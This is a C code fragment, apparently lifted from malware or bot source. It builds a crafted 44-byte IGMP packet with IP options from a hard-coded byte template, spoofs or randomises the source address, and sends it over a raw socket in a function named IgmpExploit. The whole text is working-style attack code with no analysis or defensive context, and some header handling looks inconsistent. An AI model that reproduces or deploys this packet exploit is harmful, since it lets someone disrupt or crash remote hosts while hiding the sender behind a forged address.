static char IgmpTemplate[] = "\x47\x00\x00\x2c\x00\x64\x00\x00\x80\x02" "\x24\x63\x0a\x00\x00\x01\x0a\x00\x00\x09" "\x00\x00\x00\x00\x00\x00\x00\x00\x11\x05" "\x04\xef\xe0\x00\x00\x01\x00\x00\x00\x01" "\x0a\x00\x00\x09"; int seq_no = 0; void Igmp_Fill( char *buf, DWORD src_ip, DWORD dst_ip ) { _memcpy( buf, IgmpTemplate, 44 ); ipheader *iph = (ipheader*)buf; iph->ip_sum = 0; iph->ip_dst = src_ip+1; if (!src_ip) src_ip = (rand() << 16) | rand(); iph->ip_src = src_ip; iph->ip_id = seq_no++; } int IgmpExploit( DWORD src_ip, DWORD dst_ip ) { SOCKET s = _socket( PF_INET, SOCK_RAW, IPPROTO_RAW ); if (s == INVALID_SOCKET) return 0; int bOpt = 0; if (_setsockopt( s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof( bOpt ) ) == SOCKET_ERROR) return 0; if (!dst_ip) return 1; sockaddr_in s_a; s_a.sin_family = AF_INET; s_a.sin_addr.s_addr = dst_ip; char packet[44]; _memset( packet, 0, 44 ); Igmp_Fill( packet, src_ip, dst_ip ); if (_sendto( s, packet, 44, 0, (struct sockaddr*)&s_a, sizeof( s_a ) ) == SOCKET_ERROR) return 2; _closesocket( s ); return 3; }